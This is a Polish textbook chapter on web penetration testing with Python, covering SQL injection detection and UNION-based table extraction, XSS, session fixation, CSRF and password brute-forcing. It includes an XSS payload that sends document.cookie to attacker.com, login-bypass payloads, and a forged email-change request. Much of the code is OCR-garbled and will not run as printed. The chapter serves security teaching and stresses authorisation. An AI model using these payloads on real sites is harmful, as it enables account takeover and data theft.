
Praca z aplikacjami internetowymi: Testowanie penetracyjne z Pythonem 

Aplikacje internetowe są często pierwszą linią narażenia na cyberzagrożenia, co sprawia, że ich 

bezpieczeństwo jest najważniejsze. W tym rozdziale omówiono metodologię i narzędzia do 

przeprowadzania testów penetracyjnych aplikacji internetowych przy użyciu Pythona. Obejmuje on 

automatyczne testowanie aplikacji internetowych pod kątem typowych luk, takich jak wstrzykiwanie 

kodu SQL, cross-site scripting (XSS) i problemy z uwierzytelnianiem. Dzięki praktycznemu podejściu 

czytelnicy nauczą się, jak używać Pythona do tworzenia skryptów, które badają aplikacje internetowe, 

analizują odpowiedzi i identyfikują słabości bezpieczeństwa. Ten rozdział wyposaża czytelników w 

wiedzę, aby przeprowadzać wydajne i skuteczne testy penetracyjne aplikacji internetowych, 

przyczyniając się do nadrzędnego celu zabezpieczenia usług internetowych. 

Zrozumienie testów penetracyjnych aplikacji internetowych 

Testy penetracyjne aplikacji internetowych stanowią kluczowy element w dziedzinie 

cyberbezpieczeństwa, mający na celu ocenę poziomu bezpieczeństwa aplikacji internetowych poprzez 

symulację kontrolowanych cyberataków. Dzięki temu procesowi luki, słabości bezpieczeństwa i 

potencjalne punkty wejścia dla nieautoryzowanego dostępu w aplikacji internetowej są 

identyfikowane, analizowane i później łagodzone. Ta aktywność nie tylko pomaga w ochronie poufnych 

danych, ale także odgrywa znaczącą rolę w utrzymaniu zaufania użytkowników i zgodności z wymogami 

prawnymi i regulacyjnymi. W kontekście używania Pythona do testów penetracyjnych ważne jest, aby 

najpierw ustalić podstawowe zrozumienie tego, co stanowi aplikację internetową. Aplikacja 

internetowa to dowolna aplikacja programowa, która działa na serwerze internetowym i komunikuje 

się z użytkownikami za pośrednictwem przeglądarek internetowych w sieci, takiej jak Internet. Typowe 

cechy aplikacji internetowych obejmują dynamiczne generowanie treści na podstawie danych 

wejściowych użytkownika, interakcje z bazą danych i mechanizmy uwierzytelniania użytkowników. 

Testowanie penetracyjne aplikacji internetowych można ogólnie podzielić na następujące kluczowe 

etapy: 

• Planowanie i rozpoznanie: Ten początkowy etap obejmuje zdefiniowanie zakresu i celów testu, 

zebranie informacji o aplikacji docelowej w celu zrozumienia jej funkcjonalności i stosu 

technologicznego oraz zidentyfikowanie kluczowych obszarów, na których należy się skupić podczas 

testowania. 

• Skanowanie: Zautomatyzowane narzędzia są często używane do wysyłania różnych żądań do aplikacji 

internetowej i analizowania odpowiedzi w celu zidentyfikowania potencjalnych luk lub błędnych 

konfiguracji. 

• Uzyskiwanie dostępu: Na tym etapie testerzy penetracyjni próbują wykorzystać zidentyfikowane luki 

w zabezpieczeniach, używając różnych wektorów ataku. Celem jest zademonstrowanie potencjalnego 

wpływu ataku, takiego jak nieautoryzowany dostęp do danych lub kontrola nad funkcjonalnościami 

aplikacji. 

• Utrzymywanie dostępu: Obejmuje to zrozumienie, czy luka w zabezpieczeniach może zostać 

wykorzystana do uzyskania trwałej obecności w środowisku ofiary, symulując zaawansowane trwałe 

zagrożenia, które pozostają w sieci niezauważone przez dłuższy czas. 

• Analiza i raportowanie: Wyniki testu penetracyjnego, w tym zidentyfikowane, wykorzystane luki w 

zabezpieczeniach i wszelkie dane uzyskane podczas testu, są starannie dokumentowane. W tej fazie 

podawane są również zalecenia dotyczące naprawy. 



Python jest doskonałym narzędziem do przeprowadzania testów penetracyjnych aplikacji 

internetowych ze względu na swoją prostotę, rozbudowane wsparcie bibliotek i dużą społeczność 

programistów tworzących i udostępniających narzędzia i skrypty dostosowane do zadań 

cyberbezpieczeństwa. Pozwala testerom zautomatyzować etap skanowania, skutecznie 

wykorzystywać luki w zabezpieczeniach, a nawet automatyzować ekstrakcję cennych danych podczas 

procesu testowania. Aby pomyślnie przeprowadzić testy penetracyjne przy użyciu Pythona, kluczowe 

jest posiadanie praktycznej wiedzy na temat protokołów aplikacji internetowych, takich jak 

HTTP/HTTPS, zrozumienie technologii po stronie klienta, takich jak HTML, JavaScript i CSS, oraz 

znajomość komponentów po stronie serwera i systemów baz danych. Znajomość typowych luk w 

zabezpieczeniach aplikacji internetowych i metodologii ataków, takich jak wstrzykiwanie kodu SQL, 

cross-site scripting (XSS) i cross-site request forgery (CSRF), jest również niezbędna. Dzięki Pythonowi 

testerzy mogą tworzyć niestandardowe skrypty w celu zautomatyzowania wykrywania luk w 

zabezpieczeniach internetowych, wykonywania zaawansowanych działań eksploatacyjnych i 

ostatecznie wzmacniania postawy bezpieczeństwa aplikacji internetowych. Niniejsza sekcja stanowi 

podstawowy blok konstrukcyjny, przygotowujący czytelników do zagłębienia się w szczegóły 

wykorzystania języka Python do penetracji i zabezpieczania aplikacji internetowych w kolejnych 

sekcjach. 

Konfigurowanie środowiska Pythona do testów penetracyjnych sieci 

Konfigurowanie środowiska Pythona dostosowanego do testów penetracyjnych sieci obejmuje kilka 

krytycznych kroków, aby zapewnić, że wszystkie niezbędne narzędzia i biblioteki są łatwo dostępne do 

skutecznych działań testowych. Python, ze swoim rozległym ekosystemem bibliotek, służy jako 

potężne narzędzie w arsenale testera penetracyjnego sieci. Ta sekcja szczegółowo opisuje początkową 

konfigurację, w tym instalację Pythona, konfigurację środowiska wirtualnego i instalację niezbędnych 

bibliotek skupionych na bezpieczeństwie aplikacji internetowych. Po pierwsze, ważne jest, aby 

upewnić się, że Python jest zainstalowany na maszynie testującej. Zalecany jest Python 3.x ze względu 

na ulepszone funkcje i obsługę nowszych bibliotek. Instalację można wykonać za pośrednictwem 

oficjalnej strony internetowej Pythona lub za pośrednictwem menedżerów pakietów w systemach 

operacyjnych Linux i MacOS. 

$ sudo apt-get update 

$ sudo apt-get install python3.8 

Po zainstalowaniu Pythona następnym krokiem jest skonfigurowanie środowiska wirtualnego. 

Środowiska wirtualne umożliwiają zarządzanie zależnościami dla różnych projektów poprzez tworzenie 

dla nich odizolowanych środowisk Pythona. Jest to szczególnie przydatne w projektach testów 

penetracyjnych, w których środowisko Pythona musi być dostosowane do konkretnych potrzeb 

projektu bez wpływu na globalne ustawienia Pythona. Środowisko wirtualne można utworzyć za 

pomocą następujących poleceń. 

$ python3 -m venv pentestenv 

$ source pentestenv/bin/activate 

Po aktywowaniu środowiska wirtualnego nacisk przesuwa się na instalację bibliotek, które są 

niezbędne do testów penetracyjnych sieci. Niektóre z niezbędnych bibliotek Pythona obejmują żądania 

do wysyłania żądań HTTP, BeautifulSoup do scrapowania sieci, Scrapy do indeksowania sieci, sqlmap 

do wykrywania i wykorzystywania luk w zabezpieczeniach wstrzykiwania kodu SQL oraz selenium do 

automatyzacji przeglądarek internetowych. (pentestenv) $ pip install requests BeautifulSoup4 Scrapy 



sqlmap selenium Oprócz tych bibliotek korzystne jest również zainstalowanie narzędzi takich jak 

Wireshark i Burp Suite, które, chociaż nie są oparte na Pythonie, są nieocenione w analizie ruchu 

sieciowego i pomagają w testowaniu penetracyjnym aplikacji internetowych. Na koniec należy 

podkreślić znaczenie utrzymania bezpieczeństwa środowiska testowego. Upewnij się, że środowisko 

jest bezpiecznie skonfigurowane, a dane uzyskane podczas testowania są chronione zgodnie z 

normami prawnymi i etycznymi. Zawsze uzyskaj niezbędne uprawnienia przed przeprowadzeniem 

testów penetracyjnych w aplikacjach internetowych. Ta konfiguracja stanowi podstawę, na której 

budowane są dalsze techniki i narzędzia testowania penetracyjnego, omówione w kolejnych sekcjach. 

Dzięki temu środowisku testerzy są dobrze przygotowani do rozpoczęcia zadania identyfikowania i 

wykorzystywania luk w aplikacjach internetowych, używając Pythona jako kluczowego narzędzia w 

swoim zestawie narzędzi testowych. 

Eksploracja protokołów aplikacji internetowych za pomocą Pythona 

Zrozumienie protokołów wykorzystywanych przez aplikacje internetowe jest podstawowym aspektem 

testów penetracyjnych. Protokół przesyłania hipertekstu (HTTP) i jego bezpieczny odpowiednik, HTTPS, 

to podstawowe protokoły, za pomocą których komunikują się aplikacje internetowe. W tej sekcji 

omówione zostaną bezpośrednie interakcje z tymi protokołami przy użyciu Pythona do wysyłania 

żądań i analizowania odpowiedzi. To zrozumienie jest kluczowe dla identyfikacji potencjalnych luk w 

zabezpieczeniach. Język programowania Python oferuje kilka bibliotek do interakcji z protokołami 

internetowymi, przy czym biblioteka żądań jest jedną z najpopularniejszych ze względu na swoją 

prostotę i łatwość użytkowania. Aby rozpocząć interakcję z aplikacjami internetowymi za 

pośrednictwem protokołu HTTP/HTTPS, należy najpierw zainstalować bibliotekę żądań. Można to 

osiągnąć, uruchamiając polecenie pip install requests w terminalu. Po pomyślnej instalacji następnym 

krokiem jest stworzenie prostego skryptu, który wysyła żądanie do aplikacji internetowej i drukuje 

odpowiedź. Rozważ następujący przykład: 

1 import requests 

2  

3 url = "" http://example.com 

4 response = requests.get(url) 

5 print(response.text) 

Ten skrypt wysyła żądanie GET do określonego adresu URL i drukuje zawartość HTML strony. Funkcja 

request-s.get służy do wysyłania żądania GET, a odpowiedź z serwera internetowego jest 

przechowywana w zmiennej response. Atrybut .text obiektu response zawiera treść odpowiedzi — w 

większości przypadków zawartość HTML. Analiza nagłówków odpowiedzi może ujawnić konfiguracje 

zabezpieczeń aplikacji internetowej. Aby uzyskać dostęp do nagłówków: 

1 headers = response.headers 

2 for header in headers: 

3 print(header,headers[header]) 

Ten fragment kodu wylicza nagłówki odpowiedzi, drukując każdy z nich. Nagłówki mogą zawierać 

zasady bezpieczeństwa, takie jak Content-Security-Policy, X-Frame-Options i Strict-Transport-Security, 

które są szczególnie interesujące w testach penetracyjnych. Aby manipulować nagłówkami żądań, 



symulując w ten sposób różnych klientów lub próbując ominąć kontrole bezpieczeństwa, zmodyfikuj 

funkcję requests.get w następujący sposób: 

1 custom-headers = { 

2 "User-Agent": "PenTestTool/0.1", 

3 "X-Forwarded-For": "127.0.0.1" 

4} 

5  

6 response = requests.get(url, headers=custom_headers) 

Ten kod wysyła żądanie GET z niestandardowymi nagłówkami. Zmiana „User-Agent” może symulować 

żądania z różnych urządzeń lub przeglądarek, podczas gdy nagłówek „X-Forwarded-For” może być 

używany do podszywania się pod adresy IP. Podczas wykonywania czynności, takich jak logowanie do 

aplikacji internetowej, konieczne jest wysyłanie danych za pomocą metody POST. Biblioteka żądań 

upraszcza to w następujący sposób: 

1 logiri_data = { 

2 "username": "admin", 

3 "password": "password 123" 

4 } 

5 

6 response = requests.post(url + "/login", data=login_data) 

W tym przykładzie słownik zawierający dane logowania jest przekazywany do funkcji requests.post, 

symulując przesłanie formularza. Sprawdzenie odpowiedzi może wskazać, czy próba logowania 

zakończyła się powodzeniem. Ponadto obsługa protokołu HTTPS wymaga zrozumienia certyfikatów. 

Domyślnie biblioteka requests weryfikuje certyfikaty SSL. Aby ominąć weryfikację SSL (niezalecane w 

przypadku kodu produkcyjnego), użyj parametru verify=False w funkcjach get lub post. Należy 

pamiętać, że wyłączenie weryfikacji SSL jest korzystne dla celów testowych w kontrolowanych 

środowiskach, ale stwarza znaczne ryzyko bezpieczeństwa, jeśli jest używane nieostrożnie. 

Opanowując używanie języka Python do interakcji z protokołami aplikacji internetowych, testerzy 

penetracyjni mogą zautomatyzować wykrywanie luk w zabezpieczeniach, czyniąc procesy testowania 

zarówno wydajnymi, jak i kompleksowymi. Następne sekcje będą zagłębiać się w automatyzację 

wykrywania określonych luk w zabezpieczeniach, opierając się na podstawowej wiedzy na temat 

protokołów internetowych omówionych tutaj. 

Automatyzacja wykrywania luk w aplikacjach internetowych 

Automatyzacja odgrywa kluczową rolę w dziedzinie testów penetracyjnych aplikacji internetowych, 

umożliwiając testerom skuteczną identyfikację potencjalnych problemów bezpieczeństwa. Ta sekcja 

dotyczy rozwoju skryptów Pythona zaprojektowanych w celu automatyzacji wykrywania typowych luk 

w zabezpieczeniach sieci. Aby rozpocząć automatyzację zadań, należy mieć jasne zrozumienie celów. 

W kontekście testów penetracyjnych sieci, główne cele obejmują identyfikację punktów wejścia, 

testowanie tych punktów pod kątem luk w zabezpieczeniach, a następnie rejestrowanie wyników do 



analizy. Osiągnięcie tych celów poprzez automatyzację wymaga znajomości protokołów 

internetowych, metod HTTP oraz struktury żądań i odpowiedzi internetowych. 

Narzędzia Pythona do żądań internetowych 

Podstawowym krokiem w automatyzacji procesu wykrywania jest wykonywanie żądań internetowych 

i obsługa odpowiedzi. Biblioteka żądań Pythona oferuje usprawnione podejście do wysyłania żądań 

HTTP i interpretowania wyników. Aby zainstalować bibliotekę żądań, wykonaj następujące polecenie 

w terminalu: 

1 pip install requests 

Aby to zobrazować, rozważmy prosty skrypt, który wysyła żądanie GET do określonego adresu URL i 

drukuje kod stanu HTTP odpowiedzi: 

1 import requests 

2 

3 def check_url(url): 

4 response = requests.get(url) 

5 print(f"URL: {url), Status Code: (response.status_code}") 

6 

7 if _name == " main 

8 url = "" http://example.com 

9 check_url(url) 

Ten skrypt służy jako podstawowy framework do inicjowania żądań do aplikacji internetowych. 

Dostosowanie metody żądania lub nagłówków może dostosować żądanie do konkretnych scenariuszy 

testowych. 

Identyfikacja punktów podatnych 

Aby zautomatyzować wykrywanie luk, należy systematycznie testować różne komponenty aplikacji 

internetowej. Obejmuje to identyfikację formularzy, pól wprowadzania i innych potencjalnych 

punktów wstrzyknięcia. Biblioteka Pythona BeautifulSoup jest wysoce skuteczna w parsowaniu 

zawartości HTML i wyodrębnianiu takich informacji. Zainstaluj BeautifulSoup za pomocą: 

1 pip install beautifulsoup4 

Dzięki BeautifulSoup parsowanie formularza HTML może odbywać się w następujący sposób: 

1 from bs4 import BeautifulSoup 

2 import requests 

3  

4 def find_forms(url): 

5 response = requests.get(url) 

6 soup = BeautifulSoup(response.text, ’html.parser’) 



7 forms = soup.find_all(’form’) 

8 print(f"Found {len(forms)} form(s) on {url}.") 

9 return forms 

10 

11 if_name_== "__main_ 

12 url = "" http://example.com 

13 forms = find_forms(url) 

Ten skrypt pobiera zawartość HTML strony i wykorzystuje BeautifulSoup do identyfikacji wszystkich 

formularzy. Każdy formularz potencjalnie stanowi punkt podatności, który wymaga dalszych testów. 

Automatyzacja testowania podatności 

Po zidentyfikowaniu punktów wejściowych, następnym krokiem jest automatyczne testowanie 

typowych podatności, takich jak wstrzykiwanie kodu SQL i skrypty między witrynami (XSS). Dla każdego 

zidentyfikowanego formularza skrypt powinien wstrzykiwać ładunki zaprojektowane do testowania 

określonych podatności i analizować odpowiedzi pod kątem wskazań podatności. Automatyzacja 

testowania wstrzykiwania kodu SQL obejmuje na przykład wysyłanie spreparowanych ładunków, które 

powodują błędy SQL lub nieoczekiwane zachowania, gdy są nieprawidłowo obsługiwane przez 

aplikację internetową. Poniżej przedstawiono uproszczony przykład: 

1 import requests 

2 

3 def test_sql_injection(url, form_data): 

4 sql_payload ="’ORT=T' 

5 form_data[’username’] = sql_payload 

6 response = requests.post(url, data=form_data) 

7 if "error" in response.text.lower(): 

8 print(f "Potential SQL Injection vulnerability found on {url}.") 

9 else: 

10 print(f "No evident vulnerability on {url}.") 

11 

12 if_name_== "__main_": 

13 url = "" http://example.com/login 

14 form_data = {'username’: ”, ’password’: ”} 

15 test_sql_injection(url, form_data) 

Ilustruje to automatyzację prostego testu wstrzykiwania kodu SQL poprzez zmianę danych formularza 

wysyłanych w żądaniu POST. Testowanie w warunkach rzeczywistych wymaga bardziej 



wyrafinowanych ładunków i skrupulatnej analizy odpowiedzi w celu dokładnego wykrywania luk. 

Automatyzacja wykrywania luk w aplikacjach internetowych oferuje skalowalne i wydajne podejście 

do identyfikacji potencjalnych zagrożeń bezpieczeństwa. Dzięki strategicznemu wykorzystaniu 

skryptów Pythona testerzy penetracyjni mogą systematycznie badać aplikacje internetowe, znacznie 

zwiększając skuteczność ocen bezpieczeństwa. Ta automatyzacja nie tylko przyspiesza proces 

testowania, ale także wspiera dokładniejsze badanie odporności aplikacji na różne wektory ataków.  

Identyfikowanie i wykorzystywanie luk wstrzyknięć SQL za pomocą Pythona 

Identyfikacja i wykorzystywanie luk wstrzyknięć SQL wymaga głębokiego zrozumienia zarówno 

interakcji bazy danych zaplecza aplikacji internetowej, jak i perspektywy atakującego. Wstrzyknięcie 

SQL (SQLi) to luka w zabezpieczeniach, która pozwala atakującemu na ingerencję w zapytania, które 

aplikacja wysyła do swojej bazy danych. To powszechny wektor ataku, który może prowadzić do 

nieautoryzowanego przeglądania danych, ich modyfikacji, a nawet wykonywania operacji 

administracyjnych w bazie danych. 

Zrozumienie wstrzyknięcia SQL 

W swojej istocie wstrzyknięcie SQL polega na zmianie zapytań SQL poprzez wstrzyknięcie złośliwego 

kodu SQL. Jest to możliwe za pośrednictwem pól wprowadzania użytkownika w aplikacji, które są 

nieodpowiednio czyszczone przed włączeniem do zapytań SQL. Udane wykorzystanie może skutkować 

nieautoryzowanym dostępem do poufnych informacji przechowywanych w bazie danych, w tym 

danych uwierzytelniających użytkownika, danych osobowych (PII) i poufnych danych biznesowych. 

Wykrywanie luk w zabezpieczeniach SQL Injection za pomocą Pythona 

Aby wykryć luki w zabezpieczeniach SQL Injection, można użyć Pythona do zautomatyzowania procesu 

wstrzykiwania ładunków testujących typowe wady SQLi. Bogaty zestaw bibliotek Pythona, takich jak 

żądania dla żądań HTTP i BeautifulSoup do parsowania HTML, sprawia, że jest to doskonałe narzędzie 

do testowania penetracyjnego aplikacji internetowych. 

Przykład automatycznego wykrywania 

Rozważmy scenariusz, w którym chcemy zidentyfikować luki w zabezpieczeniach SQL Injection w 

funkcji logowania aplikacji internetowej. Poniższy fragment kodu Pythona demonstruje 

zautomatyzowane podejście do wykrywania luk w zabezpieczeniach SQLi: 

1 import requests 

2 

3 target_url = ' http://example.com/login' 

4 payloads =["’ OR T^r,"’ OR T=T—OR T=T/*"] 

5  

6 for payload in payloads: 

7 data_dict = {"username": payload, "password": "password", "Login": "submit"} 

8 response = requests.post(target_url, data=data_dict) 

9 if "Welcome" in response.text: 

10 printf'SQL Injection vulnerability detected with payload:" + payload) 



11 break 

Ten kod testuje różne ładunki wykorzystujące luki w logice SQL w celu ominięcia uwierzytelniania. Jeśli 

w odpowiedzi HTTP zostanie znaleziony ciąg „Welcome”, oznacza to, że ładunek pomyślnie ominął 

mechanizm logowania, co sugeruje lukę w zabezpieczeniach SQL Injection. 

Wykorzystywanie luk w zabezpieczeniach SQL Injection 

Po zidentyfikowaniu luki w zabezpieczeniach SQL Injection, następnym krokiem jest jej wykorzystanie 

w celu zebrania informacji, eskalacji uprawnień lub wykonania nieautoryzowanych działań. Zakres 

wykorzystania SQL Injection może obejmować od ekstrakcji danych do naruszenia bezpieczeństwa 

serwera bazowego. 

Przykład ekstrakcji danych 

Poniższy fragment kodu Pythona demonstruje prostą lukę w zabezpieczeniach SQL Injection, która 

wyodrębnia nazwy tabel z bazy danych: 

1 import requests 

2 from bs4 import BeautifulSoup 

3 

4 target_url = ' http://example.com/vulnerable-page' 

5 payload = "’ UNION SELECT table_name, NULL FROM information_schema.tables —" 

6 

7 data_dict = {"search_field": payload, "Search": "submit"} 

8 response = requests.post(target_url, data=data_dict) 

9 

10 soup = BeautifulSoup(response.text,'html.parser') 

11 tables = soup.find_all(’table’) 

12 

13 for table in tables: 

14 print(table.get_text()) 

W tym przykładzie ładunek, który wykonuje operację UNION SELECT, jest wstrzykiwany do funkcji 

wyszukiwania aplikacji internetowej. Jego celem jest wyodrębnienie nazw tabel ze schematu 

informacji bazy danych. Odpowiedź jest analizowana pod kątem znaczników HTML <table> w celu 

pobrania nazw tabel. Identyfikowanie i wykorzystywanie luk wstrzyknięć SQL w Pythonie wymaga 

rygorystycznych testów i gruntownej znajomości składni SQL i systemów zarządzania bazami danych. 

Podczas gdy zautomatyzowane narzędzia i skrypty mogą znacznie pomóc w odkrywaniu luk, 

zniuansowane podejście dostosowane do konkretnej aplikacji i struktury bazy danych często osiąga 

najlepsze rezultaty. Podczas przeprowadzania testów penetracyjnych najważniejsze jest również 

postępowanie w granicach prawnych i etycznych ram. 

Tworzenie ataków typu Cross-Site Scripting (XSS) w Pythonie 



Cross-Site Scripting (XSS) to powszechna luka w zabezpieczeniach aplikacji internetowych, 

umożliwiająca atakującym wstrzykiwanie złośliwych skryptów do stron internetowych wyświetlanych 

przez innych użytkowników. W tej sekcji omówimy, jak identyfikować luki w zabezpieczeniach XSS i 

pokażemy konstrukcję ataków XSS przy użyciu Pythona. Podchodzimy do tych tematów, kładąc nacisk 

na zasady etycznego hakowania, zapewniając, że wszystkie działania są prowadzone w granicach 

prawnych i etycznych. Identyfikowanie luk w zabezpieczeniach XSS: Pierwszym krokiem w tworzeniu 

ataku XSS jest identyfikacja potencjalnych punktów wstrzyknięcia w aplikacji internetowej. Punkty te 

zwykle znajdują się w miejscach, w których dane wejściowe użytkownika są bezpośrednio 

uwzględniane w wyjściowym kodzie HTML bez wystarczającej dezynfekcji lub kodowania. Typowe 

przykłady obejmują komentarze użytkowników, dane wejściowe formularzy i parametry adresu URL. 

Aby zautomatyzować wykrywanie luk w zabezpieczeniach XSS, Python może zostać wykorzystany do 

wysyłania ładunków, które po wykonaniu wskazują na lukę w zabezpieczeniach. Poniżej znajduje się 

prosty skrypt Pythona wykorzystujący bibliotekę żądań do testowania odzwierciedlonych luk w 

zabezpieczeniach XSS: 

1 import requests 

2 

3 # The URL of the target web application 

4 url = 'http://example.com/vulnerable-page' 

5 

6 # Example of a basic XSS payload 

7 payload = {'input': '<script>alertC\XSS")</script>’} 

8  

9 # Sending a GET request with the payload 

10 response = requests.get(url, params=payload) 

11 

12 # Checking if the payload is reflected in the response content 

13 if payload[’input'] in response.text: 

14 print(’Reflected XSS vulnerability detected!’) 

15 else: 

16 print(’No reflected XSS vulnerability detected.’) 

Ten skrypt sprawdza, czy odbity XSS jest odbity, wysyłając znacznik skryptu jako dane wejściowe 

użytkownika i analizując zawartość odpowiedzi, aby sprawdzić, czy dane wejściowe są powtarzane bez 

zmian. 

Tworzenie ładunków XSS: Po zidentyfikowaniu luki w zabezpieczeniach XSS następnym krokiem jest 

tworzenie ładunków, które demonstrują wpływ luki. Podczas gdy proste ładunki, takie jak 

<script>alert(l)</script>, są przydatne do testowania, ataki w świecie rzeczywistym często obejmują 

ładunki, które kradną pliki cookie, przechwytują naciśnięcia klawiszy lub przekierowują użytkowników 



do złośliwych witryn. Poniżej znajduje się przykład skryptu Pythona, który tworzy bardziej 

wyrafinowany ładunek XSS mający na celu kradzież plików cookie: 

1 # A JavaScript snippet to steal cookies 

2 xss_payload =""" 

3 <script> 

4 var xhr = new XMLHttpRequest(); 

5 xhr.openf'GET", "" + document.cookie, true); 

http://attacker.com/steal?cookies= 

6 xhr.send(); 

7 </script> 

g ttftn 

9  

10 print(f'Crafted XSS Payload: {xss_payload}’) 

Ten ładunek używa XMLHttpRequest JavaScript do wysyłania plików cookie ofiary na serwer 

kontrolowany przez atakującego. 

Testowanie i walidacja: Podczas tworzenia ładunków XSS kluczowe znaczenie mają staranne 

testowanie i walidacja. Ładunki powinny być testowane w kontrolowanym środowisku, aby 

zweryfikować ich wykonanie i wpływ bez powodowania szkód lub nieautoryzowanego dostępu do 

rzeczywistych danych użytkownika. 

Łagodzenie i raportowanie: Zrozumienie, jak tworzyć i wykonywać ataki XSS, wyposaża etycznych 

hakerów w wiedzę, aby lepiej bronić aplikacji internetowych przed takimi lukami. Konieczne jest, aby 

ustalenia z testów penetracyjnych, w tym zidentyfikowane luki i sugerowane środki zaradcze, były 

dokładnie zgłaszane odpowiednim interesariuszom w celu ich naprawienia. 

Podsumowując, tworzenie ataków XSS w Pythonie obejmuje identyfikację luk, tworzenie wpływowych 

ładunków i rygorystyczne testowanie. Rozważania etyczne i zgodność z prawem pozostają 

najważniejsze w całym procesie, podkreślając odpowiedzialność, która towarzyszy zdolności do 

identyfikowania i wykorzystywania luk w aplikacjach internetowych. 

Przejmowanie sesji i ataki CSRF z użyciem Pythona 

Przejmowanie sesji i fałszowanie żądań między witrynami (CSRF) to wyrafinowane formy ataków, 

których celem jest stanowa natura sesji HTTP i zaufanie witryny do przeglądarki użytkownika. 

Wykorzystując Pythona, etyczni hakerzy mogą symulować te ataki, aby odkryć luki w zabezpieczeniach 

zarządzania sesjami i obsługi żądań aplikacji internetowej, dając w ten sposób możliwość ich 

naprawienia przed złośliwym wykorzystaniem. 

Zrozumienie przejęcia sesji 

Przejmowanie sesji polega na tym, że atakujący wykorzystuje podatne aplikacje internetowe, aby 

przejąć kontrolę nad sesją użytkownika i podszyć się pod niego. Najczęstszą techniką jest utrwalenie 

sesji, w którym atakujący oszukuje ofiarę, aby użyła określonego identyfikatora sesji. 



1 import requests 

2 

3 # Attacker crafts a URL with a fixed session ID 

4 fixed_session_url =' http://example.com/login;jsessionid=1234'  

5 

6 response = requests.get(fixed_session_url) 

7 if 'Welcome' in response.text: 

8 print(’Session fixation possible.’) 

Powyższy fragment kodu Pythona demonstruje uproszczone podejście do testowania naprawy sesji 

poprzez wysłanie żądania HTTP do adresu URL z predefiniowanym identyfikatorem sesji. Jeśli aplikacja 

loguje użytkownika lub utrzymuje stan sesji bez sprawdzania poprawności lub ponownego 

generowania identyfikatora sesji, może być podatna na przejęcie kontroli. 

Eksploracja luk w zabezpieczeniach CSRF 

Cross-Site Request Forgery, czyli CSRF, to atak, który zmusza użytkownika końcowego do wykonania 

niechcianych działań w aplikacji internetowej, w której jest obecnie uwierzytelniony. W swojej istocie 

wykorzystuje zaufanie, jakim witryna darzy przeglądarkę użytkownika. 

1 import requests 

2 

3 # Victim's session cookie, obtained through other means 

4 victim_cookie = {'session_id': ’authenticated_user_session’} 

5 

6 # Attacker's payload to perform a state-changing request  

7 malicious_payload = {'email': 'attacker@example.com'} 

8  

9 # The vulnerable application’s URL for email change request 

10 request_url = 'http://example.com/change_email 

11 

12 # Conducting the CSRF attack 

13 response = requests.post(request_url, cookies=victim_cookie, data=malicious_payload)  

14 

15  if response.status_code == 200: 

16 > print(’CSRF attack successful.’) 



W tym przykładzie Pythona atakujący używa pliku cookie sesji ofiary do wysłania żądania zmiany stanu, 

takiego jak zmiana adresu e-mail użytkownika na kontrolowany przez atakującego. Sukces ataku zależy 

od tego, czy aplikacja internetowa nie zweryfikuje prawidłowo, czy żądanie zostało celowo wysłane 

przez użytkownika. 

Strategie łagodzenia 

Etyczni hakerzy muszą nie tylko identyfikować luki, ale także proponować środki w celu ich złagodzenia. 

W przypadku przejęcia sesji jedną ze skutecznych strategii jest wdrożenie bezpiecznych praktyk 

zarządzania sesjami. Obejmuje to ponowne generowanie identyfikatorów sesji po uwierzytelnieniu i 

wdrażanie nagłówków zabezpieczeń HTTP, takich jak flagi HttpOnly i Secure dla plików cookie, które 

zmniejszają ryzyko wycieku tokenów sesji. W przypadku CSRF łagodzenie polega na zapewnieniu, że 

żądania zmiany stanu od uwierzytelnionych użytkowników są wyraźnie sprawdzane. Często jest to 

osiągane za pomocą tokenów anty-CSRF, które są unikalne dla każdej sesji i użytkownika, zapewniając, 

że żądanie pochodzi z zamierzonego interfejsu witryny. 

1 # Sample implementation of a CSRF token validation 

2 def validate_csrf_token(request): 

3 session_csrf_token = request.session.get(’csrf_token’) 

4 request_csrf_token = request.POST.get(’csrf_token’) 

5  

6 if not session_csrf_token or session_csrf_token != request_csrf_token: 

7 return False 

8 return True 

Funkcja Pythona powyżej szczegółowo opisuje uproszczony mechanizm walidacji tokena CSRF. 

Porównuje token wysłany z żądaniem z tokenem przechowywanym w sesji użytkownika. Jeśli są 

zgodne, żądanie jest uznawane za uzasadnione; w przeciwnym razie jest odrzucane. Przechwytywanie 

sesji i CSRF stanowią poważne zagrożenie dla bezpieczeństwa aplikacji internetowych. Etyczni hakerzy 

wyposażeni w Pythona mogą skutecznie symulować te ataki, odkrywając luki w zabezpieczeniach, 

które w przeciwnym razie mogłyby zostać wykorzystane. Poprzez staranne testowanie i wdrażanie 

solidnych środków bezpieczeństwa programiści mogą chronić swoje aplikacje przed takimi 

inwazyjnymi atakami. 

Łamanie uwierzytelniania i zarządzania sesjami 

Uwierzytelnianie i zarządzanie sesjami to kluczowe mechanizmy bezpieczeństwa aplikacji 

internetowych, odpowiedzialne za weryfikację tożsamości użytkowników i utrzymywanie ich stanu w 

przypadku wielu żądań. Wady tych mechanizmów mogą prowadzić do nieautoryzowanego dostępu i 

kontroli, stwarzając znaczne ryzyko zarówno dla aplikacji, jak i jej użytkowników. Ta sekcja omawia 

wykorzystywanie słabości w uwierzytelnianiu i zarządzaniu sesjami przy użyciu języka Python. Po 

pierwsze, istotne jest zrozumienie metodologii stojących za systemami uwierzytelniania, które 

zazwyczaj obejmują hasła, tokeny lub inne formy poświadczeń. Równie ważne jest zarządzanie sesjami, 

w którym sesje są tworzone po pomyślnym uwierzytelnieniu w celu utrwalenia stanu użytkownika. 

Identyfikowanie słabości mechanizmów uwierzytelniania 



Pierwszy krok obejmuje identyfikację luk w mechanizmie uwierzytelniania aplikacji. Można to osiągnąć 

za pomocą takich technik, jak: 

• Ataki siłowe, które próbują odgadnąć hasła za pomocą systematycznych prób. 

• Ataki słownikowe, wykorzystujące listę powszechnie używanych haseł. 

• Wypychanie poświadczeń, w którym skradzione poświadczenia konta są wykorzystywane do 

uzyskania nieautoryzowanego dostępu. 

Rozważmy skrypt Pythona, który automatyzuje atak siłowy na formularz logowania: 

1 import requests 

2 

3 url = "" http://example.com/login 

4 username = "admin" 

5 

6 # List of potential passwords 

7 passwords = ["password", "admin 123", "guest", "letmein"] 

8 

9 for password in passwords: 

10 response = requests.post(url, data={"username": username, "password": password}) 

11 if "Login successful" in response.text: 

12 print(f"Found correct password: {password}") 

13 break 

Wykorzystywanie luk w zarządzaniu sesjami 

Po uwierzytelnieniu atakujący często atakują mechanizmy zarządzania sesjami. Typowe luki obejmują 

fiksację sesji, gdzie atakujący naprawia identyfikator sesji użytkownika przed zalogowaniem się 

